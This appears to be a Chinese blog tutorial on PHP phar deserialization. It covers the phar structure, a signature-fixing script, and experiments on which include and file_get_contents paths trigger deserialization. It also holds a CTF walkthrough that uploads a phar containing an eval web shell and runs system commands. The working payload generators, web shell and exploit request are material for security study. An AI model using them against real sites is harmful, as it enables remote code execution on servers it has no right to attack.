浅析phar反序列化

Phar基础

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

Phar文件结构

  1. a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
  3. contents是被压缩的内容。
  4. signature签名,放在文件末尾。

就是这个文件由四部分组成,每种文件都是有它独特的一种文件格式的,有首有尾。而__HALT_COMPILER();就是相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用。

关于签名

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本

image-20220917153603527

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('my.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('new.phar', 'wb') as file:
file.write(newf) # 写入新文件

生成phar文件

首先需要修改php.ini中的配置

phar.readonly设置为Off

  • 手动添加数据的生成方法
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class shell{
public $code='system("whoami");';
}
$phar=new phar('my.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new shell();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","<?php echo 'executed file content';?>");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
  • 文件夹打包生成
1
2
3
4
5
6
7
8
9
10
11
<?php
class shell{
public $code='system("whoami");';
}
$h = new shell();
$phar = new Phar("my.phar");
$phar->buildFromDirectory("./projects");
$phar->setMetadata($h);
$phar->setStub($phar->createDefaultStub("shell.txt","shell.txt"));
//createDefaultStub: 第一个参数是文件名 第二个参数是web路径下的别名
?>

有效的包含函数

image-20220917170719437

buffer生成phar的包含尝试

接下来进行一些实验

my.phar

image-20220917164058091

include

1
2
3
4
5
6
7
8
9
<?php
class shell {
public $code; // 此处可注释
public function __destruct() {
eval($this->code);
}
}
include "phar://my.phar/flag.txt";
?>
1
2
executed file content
m4o9

结论:flag.txt被包含执行; 反序列化成功

如果不指定flag.txt 即只包含phar://my.phar 则仅仅进行反序列化

几种路径写法的可行性

1
2
3
4
5
6
7
8
9
10
11
my.phar:
phar://my.phar
phar://my.phar/flag.txt
my.phar
my:
my (不可)
phar://my (不可)
my.jpg(任意后缀都可以):
phar://my.jpg
phar://my.jpg/flag.txt
my.jpg (不可)

结论: phar后缀可以不加协议头 非phar后缀需加协议头 无后缀不可 (buffer方式生成的phar)

file_get_contents

1
file_get_contents("phar://my.phar/flag.txt");

只有这样可以 不加flag.txt 不加协议头都不识别 并且不执行flag.txt内容 只进行反序列化

1
2
3
4
5
6
my.phar:
phar://my.phar/flag.txt
my:
phar://my/flag.txt (不可)
my.jpg(任意后缀都可以):
phar://my.jpg/flag.txt

文件夹打包方式生成phar的包含尝试

1
2
3
4
5
6
7
8
9
10
11
<?php
class shell{
public $code='system("whoami");';
}
$h = new shell();
$phar = new Phar("my.phar");
$phar->buildFromDirectory("./projects");
$phar->setMetadata($h);
$phar->setStub($phar->createDefaultStub("shell.txt","shell.txt"));
//createDefaultStub: 第一个参数是文件名 第二个参数是web路径下的别名
?>

这种方式生成的phar文件略大, 其stub头还包含一些其他内容

include包含的结果是

1
2
3
4
5
6
7
8
9
10
11
my.phar:
phar://my.phar
phar://my.phar/flag.txt
my.phar
my:
my
phar://my (不可)
my.jpg(任意后缀都可以):
phar://my.jpg
phar://my.jpg/flag.txt
my.jpg

file_get_contents包含的结果同buffer生成的结果一样 必须指定文件

总结: 对于include来说 此方式生成phar的文件比buffer生成的利用条件更加宽松 只要包含成功就会执行文件中内容,即使没有指定flag.txt

此外,并不是所有的可用函数都像file_get_contents这样严格

比如is_dir 就对phar://my.phar这种不加文件的方式生效。各种函数有效利用方式还需要自己尝试

几个题目

文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}

phar生成:

1
2
3
4
5
<?php
$phar = new Phar("exp.phar");
$phar->buildFromDirectory("./projects");
$phar->setStub($phar->createDefaultStub("shell.txt","shell.txt"));
?>

shell.txt内容

1
2
3
<?php
@eval($_POST[1]);
?>

python脚本发送post请求 上传phar文件

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://6b5b5791-990c-4a23-8a9d-f141307c4a0f.challenges.ctfer.com:8080/'
content = b''
with open("exp.phar", "rb") as f:
content = f.read()
data = {
'file': "exp.phar",
'content': content
}
resp = requests.post(url=url, data=data)

上传成功后实现代码执行

1
file=phar://exp.phar/shell&content=xxx&1=system('ls');